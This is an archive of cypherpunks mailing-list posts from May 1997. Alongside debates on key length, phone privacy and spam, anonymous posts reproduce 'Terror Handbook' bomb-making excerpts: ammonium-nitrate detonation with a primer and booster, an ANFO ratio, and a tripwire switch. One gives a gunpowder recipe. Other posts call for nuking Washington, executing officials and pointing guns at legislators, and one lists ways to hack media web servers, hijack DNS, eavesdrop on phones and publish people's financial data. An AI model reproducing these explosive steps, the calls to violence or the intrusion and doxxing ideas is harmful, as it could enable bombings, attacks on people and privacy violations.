> Using excessively long keys does not do much for security, as there are
> always going to be weaker links that an attacker can take advantage of.
> It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
> good, either.

Again, you have taken an important concept, total security, and reversed
it.  Instead of aiming to make each link as strong as possible, you have
aimed to design around the weakest link.

This is a serious mistake in my view.

It costs little today to develop a cipher with larger keyspace.  (DES with
independent subkeys already exists and has a basic keyspace of 768 bits.
A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
the cipher briefly).  If users are willing to deal with large keys (I
certainly am) then software designers are restraining a more secure
implementation.

I think most will agree that anything over 150 bits makes brute force
a losing effort.  Unfortunately it has to be deployed first.

 
> 
> 
> Mark
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3
> Charset: noconv
> 
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> =eI9X
> -----END PGP SIGNATURE-----
> 
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland
Rebel Directive #7:Avoid soccer games when a government assault threatens.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:43:01 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111724.NAA22101@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>ammonium nitrate</TITLE>
<FONT SIZE=5>AMMONIUM NITRATE</FONT>
<BR>
<BR>
<BR>
     Ammonium nitrate could be made by a terrorist, or it could be stolen from a construction site, since it is usually used in blasting, because it is very stable and insensitive to shock and heat.  A terrorist could also buy several Instant Cold-Paks from a drug store or medical supply store.  The major disadvantage with ammonium nitrate, from a terrorist's point of view, would be detonating it.  A rather powerful priming charge must be used, and usually with a booster charge.  The diagram below will explain.
<BR>
<BR>
<HR>
<BR>
<PRE>
          _________________________________________
          |       |                               |
  ________|       |                               |
     |        | T.N.T.|     ammonium nitrate      |
     |primer |booster|                            |
     |_______|       |                            |
          |       |                               |
          |_______|_______________________________|
</PRE>
<BR>
<BR>
<HR>
<BR>
     The primer explodes, detonating the T.N.T., which detonates, sending a tremendous shockwave through the ammonium nitrate, detonating it.
<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Mon, 12 May 1997 02:21:55 +0800
To: cypherpunks@einstein.ssz.com
Subject: Re:
In-Reply-To: <199705111711.NAA21757@dhp.com>
Message-ID: <0nRUDN200YUe026ag0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:
> product. A terrorist, however, would probably opt for the less economical one
> step method. The one step process is performed by treating toluene with very
> strong (fuming) sulfuric acid.

Hmmm, fuming suphulic acid, eh? What, a skim of yellow powder
spontaneously appears on the surface? Kids, the above article 
is a collection of errors and omissions. Don't try this at home.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 02:27:19 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111749.NAA24020@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>ANFOS</TITLE>
<FONT SIZE=5>ANFOS</FONT>
<BR>
<BR>
<BR>
ANFO is an acronym for Ammonium Nitrate - Fuel Oil Solution.  An ANFO
solves the only other major problem with ammonium nitrate: its tendency
to pick up water vapor from the air.  This results in the explosive
failing to detonate when such an attempt is made.  This is rectified by
mixing 94% (by weight) ammonium nitrate with 6% fuel oil, or kerosene.
The kerosene keeps the ammonium nitrate from absorbing moisture from the
air.  An ANFO also requires a large shockwave to set it off.

<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 13 May 1997 01:52:14 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Disinformation in L.A.
Message-ID: <3.0.32.19970511133716.00755b9c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:08 AM 5/11/97 -0400, Declan McCullagh wrote:

>I note that Washington, DC occasionally even contains Duncan Frissells,
>Lucky Greens, and Sameer Parekhs.

There are worse ways of dying than being vaporized. In fact, there are
worse ways of living than dying. No, I do not believe this to currently be
the case. In my book, the US is presently the best place to live. As does
Tim. Still, I do accept anonymous email. Especially if it contains travel
blackout days.

Seriously, I doubt anybody on this list is going to do something violent.
That doesn't mean I think that nobody in the world is willing to nuke DC. I
am told that quite a few Russian nukes are unaccounted for. Just for the
record, I believe that it considerably more likely for New York City to be
nuked than DC.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 02:25:28 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111750.NAA24096@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML>
<HEAD>
    <TITLE>tripwire switches</TITLE>
</HEAD>
<BODY>
<FONT SIZE=5>Tripwire Switches</FONT> <BR>
<BR>
<BR>
A tripwire is an element of the classic booby trap. By placing a nearly
invisible line of string or fishing line in the probable path of a victim,
and by putting some type of trap there also, nasty things can be caused
to occur. If this mode of thought is applied to explosives, how would one
use such a tripwire to detonate a bomb. The technique is simple. By wrapping
the tips of a standard clothespin with aluminum foil, and placing something
between them, and connecting wires to each aluminum foil contact, an electric
tripwire can be made, If a piece of wood attached to the tripwire was placed
between the contacts on the clothespin, the clothespin would serve as a
switch. When the tripwire was pulled, the clothespin would snap together,
allowing current to flow between the two pieces of aluminum foil, thereby
completing a circuit, which would have the igniter or squib in it. Current
would flow between the contacts to the igniter or squib, heat the igniter
or squib, causing it it to explode. <BR>
<BR>
<HR>
<PRE>
                    __________________________________
                    \_foil___________________________/
 Insert strip of      ----------------------------spring
 wood with trip-      _foil__________________________
 wire between foil   /_______________________________\
 contacts.</PRE>
<HR><BR>
Make sure that the aluminum foil contacts do not touch the spring, since
the spring also conducts electricity.<BR>
<BR>
<HR><BR>
<I>From the Terror Handbook</I>
</BODY>
</HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Tue, 13 May 1997 01:32:19 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Money orders, debit cards, ...
Message-ID: <199705112138.OAA21281@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:11 5/11/97 -0700, Greg Broiles wrote:
>At 02:12 AM 5/11/97 -0700, David Wagner wrote:
>>(Note: contents of calls are protected by law, but traffic analysis
>>specifically is allowed, far as I can tell.)
>
>Correct. There is no (federal) constitutionally protected privacy interest in
>traffic-analysis data about phone calls, because (so the argument goes) that
>data is voluntarily disclosed to a third party (the phone company).

That argument is bullshit, however.  Getting technical about it, you
"disclose" your voice to the phone company so that it can digitize it and
send it to its destination.  If that argument were valid, voice would be
unprotected as well.

Chances are excellent that this odd position is a holdover from a time
(1920's) when many if not most telephone calls were manually switched, and
you had to tell the (human) operator the number you wanted to call.  That
act of telling was probably considered "disclosure."   However, logically
the adoption of a system of automatic switching (which doesn't require
recording the number called; for many decades such recording wasn't even
done because it was economically impractical except for charged LD) would
eliminate the presumption that the number was already "disclosed."

Since phone company operations subsequent to call takedown do not require
the recording of destination numbers, any more than they need to record
voice, the constitutional treatment of these two pieces of information
should be identical.

In any case, constitutional rights should not depend on (or be limited by)
the state of technology 70 years ago.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 12 May 1997 05:54:10 +0800
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: communicator
In-Reply-To: <199705111945.OAA29354@manifold.algebra.com>
Message-ID: <33763CCD.ED1A6EB8@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Tom --
> 
> Will netscape communicator be available for linux? It would be very
> very unfortunate if netscape dropped support for linux...

Yes, we will continue to release linux versions.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 12 May 1997 03:50:44 +0800
To: tomw@netscape.com
Subject: communicator
Message-ID: <199705111945.OAA29354@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tom -- 

Will netscape communicator be available for linux? It would be very very
unfortunate if netscape dropped support for linux...

thanks

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 13 May 1997 02:05:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: War & InfoWar
In-Reply-To: <199705110311.VAA20026@wombat.sk.sympatico.ca>
Message-ID: <Pine.LNX.3.91.970511143958.2856A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 10 May 1997, TruthMonger wrote:

>   Of course, you have your own definintion of innocenent bystanders,
> while others may have different definitions.

This is certainly the case, but we must be careful not to extend this and 
say that the actual "according to hoyle" definition of innocence is 
subjective.

Certainly I believe that most of the group the media refer to as 
"innocent bystanders" are criminals in a true sense. In fact, I would go 
so far as to say that less than 1 in a thousand of these people are 
probably *idealogically* pure but we must be careful about allowing 
ourselves any notion of thought crime.

>   Is someone who is in the military because of forced enscription at
> the point of a gun (with threats of imprisonment if they refuse) an 
> innocent bystander? When an invading force attacks your home, do you
> only shoot back at those who are there willingly?

Absoltely, I believe that those who allow themselves to be threatened and 
coereced into joining the military because of enscription are criminal, 
because they allow their own cowardice to control them. They make a 
choice to save their own ass by participating in immoral violent acts by 
a government which believes it has rights over it`s citizens lives and 
freedoms. 

Question: Where does the US prescedent for military conscription come from?
	  Is there nothing in the constitution which could have been used
	  in a legal challenge?

>   Were the children in the daycare center at the Federal Building
> at OK city innocent bystanders?

More than likely they were, had they lived another 10 or 20 years they 
probably would have been corrupted and brainwashed like all the other paeons.

>   Then why, pray tell, did the government allow them to be placed
> in a building which was known to be a prime target of anti-government
> paramilitary idealists? Were they being used as a "shield" in the
> hopes that their presence would protect the others? Or were they
> there in order to provide sensational fodder for government response
> to the inevitable?

Media fodder would be my guess, there are a number of other reasons but 
sensation fodder shows through in most cases. It is observable within the 
UK that hospitals and schools are often placed close to government 
buildings, eg. In London there is a hospital directly opposite the houses 
of parliament.

> > I know that critical times call for critical action, but I just don't
> > expect from anarchist libertarian cypherpunks that they would "throw
> > caution to the wind" (so to speak) and forget how to think about events and
> > actions in terms of specifics and utter precision.
> 
>   The fact of the matter is that the government has declared war
> on the freedom and liberty of its citizens and passed draconian
> laws which prevent citizens from defending themselves from 
> government oppression. The government protects those participating
> in its crimes from having to pay a price for their complicity.
>   The government has a ruinous effect on the lives of millions
> of its citizens daily and is responsible for a mountain of deaths
> of "innocent people." Those taking part in the process should be
> made aware that there is a price to pay for their actions.

As I have said I can understand the sentiment behind it, but I have 
several problems with Tim`s "It`s war, innocents die" line, the biggest 
being that for me the defining principle of anarchism is that all crimes 
and all acts are considered alone in relation to the NAP. If I kill one 
genuinely innocent person during a bombing where I kill say 300 MPs I 
have still commited murder and should be treated as such. I`m sure, if I 
were given that chance, I would definitely be tempted to kill the 
innocent to get the criminals but this is merely untempered illogical 
emotion, I would not be worthy of any respect or credibility whatsoever 
if I took that choice and disregarded the rights of the innocent bystander.

>   Should the Allied war against Nazi Germany have not taken place
> because "innocent" lives would be lost? 

Correct, the German people, along with the people of all the allied 
nations, should have turned their armies against their governments and 
ended the notion of state in the western world, the other countries of 
the world would soon have followed suit. Sure, you can say "but after 
the fact, once the war was underway, what was the right thing to do?"
to which I would answer that a. The situation was created by the 
cowardly action of the people in failing to remove their government.
and b. The actions taken were wrong because removal of the german
government directly by its people would not have resulted in the deaths
of thousands of innocent people. 

> Should the French Freedom
> fighters not have fought to free their country from occupation
> because "innocent bystanders" would die in the process?

Certainly, if one is defending ones rights, and an innocent bystander 
gets killed in the process it is a natural reaction to think of yourself 
as innocent. This is the wrong reaction to have. People on this list seem 
to be gravitating towards the school of thought the government allies 
itself with, that is, "the greater good". Replacing one evil with a 
lesser evil is, although preferable to the status quo, not the anser. War 
is not a natural state to be in and difficult choices have to be made, 
among these is the question of how many innocents have to die to protect 
the rights of the many, I am not a pragmatist and, although it is 
unrealistic, would take a pacifist point of view here in that I would
say all war is criminal and I find it very hard, although it is of course
a logical necessity, to decide in favour of "the greater good".

>   Timothy McVeigh's position in history will likely belong in the
> hands of the winner of the war between the government and its
> citizens, but he is already considered a freedom fighter by more
> people than the government would like to admit. He has issued a
> wake-up call for those who think that they can remain nameless 
> and faceless in their complicity with government atrocities.

Yes, the more we get the message over that complying with the evil 
actions of criminals is a crime in itself, and that those who do so will 
be executed, the quicker the thugs will learn the evil of their actions.

>   While I would have chosen a different approach and target for
> an attack, I will not pass moral judgement on McVeigh's actions.
> That is between himself and his conscience.

I think one must pass judgement, Tim McVeigh`s actions were criminal and 
deplorable, but his motives were totally right, however, just as we do 
not believe in thought crime we should not believe that having the right 
motives absolves one from blame in the commision of a crime. This is why, 
judging entirely on the act itself, I would say McVeigh is a criminal, 
whether he was acting for the right reasons or not. 

>   Tim McVeigh at least had the fortitude to act on his outrage
> over what he perceived as government injustice. What did others
> do over the outrageous tragedy at Waco? Mostly they just turned
> their heads away and tried to pretend that our government is not
> a murderer of men, women and children.

Quite, people have been brow beaten and brainwashed into believing the 
violent actions of the state are justifiable, but any action they take 
themselves is criminal and wrong. For example, the truncheon wielding 
government rent-boys (for all state employees are moral prostitutes) can 
lock me in a cell and deny me basic freedoms because of what substances I 
choose to put into my own body, yet in the UK one cannot even carry a 
weapon to defend oneself against attack (For example, if someone were to 
break into my house, and I were to either shoot him or take a baseball 
bat to him, I would be prosecuted for murder or for assult).

Tim McVeigh maybe had the fortitude to act on his feelings, this does 
not mean those actions were justifiable merely by the fact they
were done out of convictions rather than greed. To return once again
to a recent topic on this list Nietzsche put it very well when he said
"Convictions are more dangerous enemies of truth than lies". From
this I also derive my own view that poloticians who genuinely believe
they are acting in the interest of the people are more dangerous
than those who act merely for financial gain or gain in prestige
and control (the will to power).

Whether Tim McVeigh`s actions showed a strength of conviction or not,
they certainly showed a moral and ethical weakness in that he 
justified the murder of innocents by the necessity to remove government
officials from power. 

You might notice I seem to be contradicting myself here, this is because
I am. I really have great problems in coming to a definitive personal
decision over questions of morality and ethics in a war situation. 
Maybe this shows a moral weakness on my part, maybe I am not sure of 
my own morality, but I think a little indecision is a good thing: it
ensures that one is always thinking and never acting on a prejudice.

>   How many government employees quit in outrage, stating that
> they would not take part in such atrocities? How many took a
> vocal moral stand against their superiors, or exposed the
> government duplicity involved in the police action?

They are all whores, so I suggest we fuck them like whores.


>   Nobody who turns their head is "innocent" and they cannot avoid
> their own responsibility if they choose to place their children
> in the line of fire as a result of their participation in crimes
> against the citizens.

Yes, they were naive, but I don`t believe for a moment they commited any 
crime, Tim McVeigh commited the crime. It is one thing to be negligent 
and through that negligence allow innocent people to be killed, it is 
quite another to actively participate in a system which persecutes and 
murders and fail to look at the evil in front of your eyes.


>   Given the wide knowledge of the OK city Federal Building being
> a known target of anti-government forces, I think the placing of
> a daycare center there was the equivalent of military forces who
> cowardly advance with women and children in front of them. (And
> there are ample examples of this in history.)

Yes, but this military did not force the innocent children to be there, 
it possibly spread disinformation and propoganda which convinced the 
parents that their children were safe in the building, the parents were 
naive and overtrusting if they believed this, but the only criminal 
was McVeigh in this particular instance.


>   Those in government express outrage at the barbarity of an
> individual citizen attacking his oppressors, but apparently are
> not outraged enough to stop their oppression.

Quite, their logic is flawed because they have been brainwashed, it is a 
sad fact that many of these criminals are merely stupid or conformist.

>   The fact is that we have a police state whose power and abuse
> of power are growing by leaps and bounds because there has been
> no realistic amount of accountability attached to their actions.

The only level of accountability acceptable is for any member of the 
state to be immediately executed on the spot for the commision of any 
crime.

>   This is an unnatural state of affairs and one that human nature
> will correct. When things become too far out of balance, then
> the universal laws of nature correct the situation. I believe that
> the dinosaurs learned this lesson, as well.

So will the state, when, in the words of Tim May, they are "cleansed in 
the nuclear fire".


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 12 May 1997 07:25:45 +0800
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <3.0.32.19970511130456.0071d4b4@netcom13.netcom.com>
Message-ID: <19970511160550.21115@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, May 11, 1997 at 01:18:43PM -0700, Lucky Green wrote:
> At 04:10 PM 5/10/97 -0700, Kent Crispin wrote:
> 
> >Hence the value of the "Crypto is Cool" approach.  A valuable addition
> >would be crypto packages designed for high school kids.  All my many
> >nieces and nephews are on the net...
> 
> I usually don't reply to these kind of posts, but since you have mentioned
> this before 

Actually, you must be confusing me with someone else -- I can't, to 
my recollection, remember ever having said anything about this 
before.  (Of course, you could always go back in the archives and check.) 
I was just responding to the idea mention by someone else (except 
I think they worded it "ciphers are cool" or something like that).

> and since you obviously still don't deem it appropriate to get
> yourself up to speed by reading the archives, your idea has been discussed
> and tried.

With a memory like mine (and yours too, apparently) reading the 
archives would do no good -- I can't remember a thousandth of all the 
stuff I read, anyway.

> People won't use crypto unless it is either transparent, meaning put there
> *for* them by the OS vendor/application developer or because the see a need
> for using it. The few fanatics that use crypto because "it is cool" are
> inconsequential when the objective is bringing crypto to the masses.

I guess we are doomed, then.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 12 May 1997 00:21:34 +0800
To: 00043.an@edtec.com
Subject: Re: One-Time Pads as Attack Method
In-Reply-To: <199705101646.MAA21972@main.inetnow.net>
Message-ID: <Pine.LNX.3.91.970511161957.2922A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Is posting a TRANSFORM such as a 'OTP' that converts copyrighted material A
> into copyrighted material B a violation of anything, I wonder...  You could
> convert everybody's Internet Explorer into a ZIP file containing a setup
> and executable for Netscape 3.0!!

Technically, an OTP has a problem here because the two files, A and B, 
must be exactly the same size. Padding can solve this of course.

Legally though this is an interesting question: As I understand it (and I 
have only a very limited understanding of the law) copyrights make 
illegal the act of copying the material, rather than the act of owning 
it. Therefore, if I do A XOR B where A is say micro$oft access, and B is 
my transformation, and get C which is a copy of, say, micro$oft excel, I 
have commited no crime. Does anyone on here with a knowledge of the law 
have an opinion on this?

> >Do you think that Microsoft has a one-time-pad that will convert
> >Netscape 3.1 into Word for Windows?

Of course it need not even be an OTP, we could use a mapping to permute 
the bits in one file onto the bits in another. If this were illegal under 
current law, what would be illegal, the program, the owning of it, the 
act of using it to create the copyrighted software C????????????

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 12 May 1997 00:25:51 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: timmy has finally lost it
In-Reply-To: <199705110501.WAA17736@netcom13.netcom.com>
Message-ID: <Pine.LNX.3.91.970511165101.2922C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> yeah, I've noticed that TCM is really uptight lately and has been way off
> the scale (more so than usual) on the "panty-knot" scale. what gives,
> Tim? I think the situation is mostly he's so upset that congress is
> discussing bills with the words "crypto" in them, which is apparently
> enough to make him cringe with terror.

Congress discussing any bills whatsoever should make all decent people 
cringe. 

> the congressional crypto bills are generally a good thing, because
> they are increasing public awareness of the issue. any bill that
> is not fair or just is likely to be tested in the courts, and if
> our system is beyond an orwellian tyranny, will be struck down.
> do we have a constitution or not? if so, we have nothing to worry
> about. (of course, I am not advocating doing nothing, but I am
> advocating not panicking or calling for the "vaporization of washington"..)

Wrong, you would lose count very quickly indeed if you tried to count all 
the laws in the US that would lose to a fair and objective constitutional 
challenge. The constitution doesn`t mean shit any more.

The vaporization of washington should be a priority for anyone with a 
sense of self preservation or moral obligation towards his fellow man.

> there might actually be an advanteage in a very orwellian bill
> *passing*. if it is struck down, perhaps no legislator would ever
> try again, and those that tried would have their reputations marred
> with widescale public infamy.

This is certainly a possibility, but is a big risk to take and would also 
be "playing the game" with the legislators by challenging them on their 
own terms. The only challenge we should be making is the only one they 
understand: a .45 pointed up their nostil.

> TCM is terrified by virtually anything that happens in govt, which is 
> amusing and comical at times.

I find it amusing and comical, and also very worrying, to see people who 
aren`t terrified by the actions of a government that fails to recognise 
nearly all of the basic rights of it`s citizens. If you`re not part of 
the solution you`re part of the problem.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 12 May 1997 01:31:44 +0800
To: alan@ctrl-alt-del.com
Subject: hacking the media (was Re: Wine Politics Again! (fwd))
In-Reply-To: <3.0.1.32.19970510222708.00a78c80@mail.teleport.com>
Message-ID: <199705111715.SAA01705@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen <alan@ctrl-alt-del.com> writes:
> At 04:07 AM 5/11/97 +0200, A. Michael Froomkin wrote:
> 
> >It ill behooves participants in a democracy to either advocate or even
> >tolerate or even cluck sympathetically at mass murder for political ends. 
> >This way lies Bosnia.
> 
> I suggest making them look like fools.  It allows public opinion to turn
> against the fascists without them having murder or mayhem as a scapegoat. 
> There is nothing the greyfaces hate more than laughter.
> 
> Now is the time to hack the media.

Ideas?

Maybe mirror some information which they won't like and laugh at them
when they fail to take it down?

Hack their web pages?  Socially engineer a change to their NIC info
(as Susan Thunder did to `takedown.com' which was about `taking down'
Mitnick.  She talked internic into changing it to takendown.com.  Heh
heh.)  Hack the DNS server entries for their web pages, so it'll take
them to recover.

Eavesdrop on their cell phones and post the audio files?  

Post their credit ratings, bank balances, all the personal info a PI
or hacker can get?

Set them up and tape what they think is a corrupt deal with a kick
back for them going down?

Plant a bug on a politician leave it going for a few weeks and post
the findings?

May be we can start a pool to reward the hacker who gets dirt on them
which shows them for what they are, if the poetic justice of it isn't
enough incentive.  Hire a good PI.

Put all this info on the web and laugh when they fail to take it down.
(Hint: eternity).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Mon, 12 May 1997 06:56:16 +0800
To: cypherpunks@Algebra.Com
Subject: Re: Spam Update/Cyber Promo attacked (fwd)
Message-ID: <97May11.184120edt.32259-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


One simple question: where is the property right to a socket and mailbox.

If Wallace has the right to fill my computer with unwanted data, then I
have the same right toward his.  If it is an act of free speech to send
some commercial solicitation for something I would never want, it is hard
not to maintain that an ARP packet isn't covered by the same theory, much
less 1M+ responses of the same email.

It costs me something to filter out spam, and will cost him something to
filter out counterspam of whatever sort.  The NSP may be in the no-man's
land between the trenches, but they are providing the connection and can
tell him to look elsewhere or charge a premium for the extra traffic.

Any such property right will be symmetrical, so if I don't have the right
to control what comes into my inbox, neither does anyone@spamway.com.

Whether I like it or not, Anarchocapitalism is going to be the political
system on the internet.  Just like what is described in David Freedman's
books about private protective services, a spammer will continue until he
hits someone with a T3 and a good software agent that will happily fill
out response forms at 6M/sec, or simply ask politely to be taken off the
list several hundred times per second.  At that point the lists of people
who don't want to be spammed will be taken very seriously.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 02:02:26 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Sabotaging the U.S. Military-Industrial War Machine
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <v03007800af9c3c4562d1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(Contrary to rumors, I _do) have a live outside of the Net. I've been away
this weekend. I probably can't, or won't, respond to all of the comments
about my recent posts.)

At 12:57 PM -0800 5/10/97, Kent Crispin wrote:

>I would expect a "cypherpunk riot" to be a little more aimed at
>cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>

Sorry. I misunderstood you to be speaking of the "fouling of one's own
nest" (or whatever the ebonics translation might be) riots of recent years.

You are correct that a kind of riot in cyberspace is possible. However, I
think the attacks (not riots) will not be oriented toward mayhem (no pun
intended) toward one's neighbors, but towards destablization of democracies
and military-industrial facilities.

In particular, various attacks against the national labs.

And technologies to make the "force of democracy" lose their teeth.

Subscribe to the Info-War news list for more, although they are
unfortunately biased toward the U.S. propaganda machine. (It was by some of
them that I was characterized as an "information terrorist," a label I view
as an honor.).

(Hint: I was quoted/interviewed in oppostion to the Pentagon's
"info-warriors" in a BBC television show called "The I-Bomb." My thesis,
not all of which was inclued in the BBC programme, was that strong crypto
would and should be used to destablilze U.S. efforts to dominate the New
World Order. If an I-bomb could destroy the Pentagon, Livermore, Los
Alamos, and so on, I would press the button tonight. The U.S. military
machine is vastly more powerful than it needs to be meet the threat of
invasion of our shores (hint: even Hitler and Tojo were not real threat to
U.S. shores) and whatever is needed should be done to destabilize and
sabotage the U.S. industrial war machine.)

The spread of anonymous remailer is already being used to break the back of
the U.S. war propaganda system. (Given that Lowell Wood's crimes are being
liberated and sent to non-U.S. sites for their use in defeating the war
machine).

Cypherpunks stand for making the United States just another bunch of
contiguous geographic regions.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 13 May 1997 02:04:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.Re: Disinformation in L.A.
Message-ID: <199705111756.TAA20093@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
> should update the Anarchist's Cookbook.

Potassium nitrate is a natural byproduct of the decay of organic material.
It is highly soluable in warm water, but at low temperatures (<10C) will
quickly precipitate out and be displaced in solution by other salts, such
as sodium chloride.  Extract by evaporation of water from chilled solution.
Mix seven parts potassium nitrate with three parts carbon (coal).  Compact
and ignite to produce explosion.

This has been known for centuries.  The Chinese used this mainly for
pyrotechnic displays and entertainment, however the Europeans have found
more political applications of the technology.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:59:44 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto Makes Nuclear Disinfectants Easier to Deploy
In-Reply-To: <19970510135714.39308@bywater.songbird.com>
Message-ID: <v03007802af9c43420709@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:25 PM -0800 5/10/97, Duncan Frissell wrote:
>On Sat, 10 May 1997, Kent Crispin wrote:
>
>> I would expect a "cypherpunk riot" to be a little more aimed at
>> cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>
>Tim was mostly talking about nuking the District of Columbia.  You will
>note that that is an artificial community filled entirely with politicians
>and their sycophants.  It is sort of like the train that Ayn has blow up
>in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
>there. (Well a few tourists and Ethiopian immigrants who don't know better
>but you can't win 'em all.)  Note also that he is hoping others will do
>the deed.  He's not volunteering.
>
>There will be a few unfortunate explosions in the world over the next few
>years so I'm sure Tim is just hoping for a beneficial target selection.

Indeed. Beneficial target selection. Though I think it much more likely
